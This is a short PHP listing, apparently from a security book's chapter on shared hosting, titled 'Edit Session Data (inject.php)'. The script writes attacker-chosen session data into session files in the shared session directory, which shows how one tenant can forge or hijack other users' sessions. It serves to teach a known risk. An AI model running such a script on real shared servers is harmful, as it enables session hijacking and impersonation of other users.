Edit Session Data (inject.php)
(Chapter 8, Shared Hosting - Pg 82)
<?php
session_start();
$path = ini_get('session.save_path');
foreach ($_POST as $sess_name => $sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode();
$filename = "$path/sess_$sess_name";
$bytes = file_put_contents($filename, $sess_data);
echo "<p>$bytes bytes written to $filename.</p>";
}
$_SESSION = array();
?>
</body>
</html>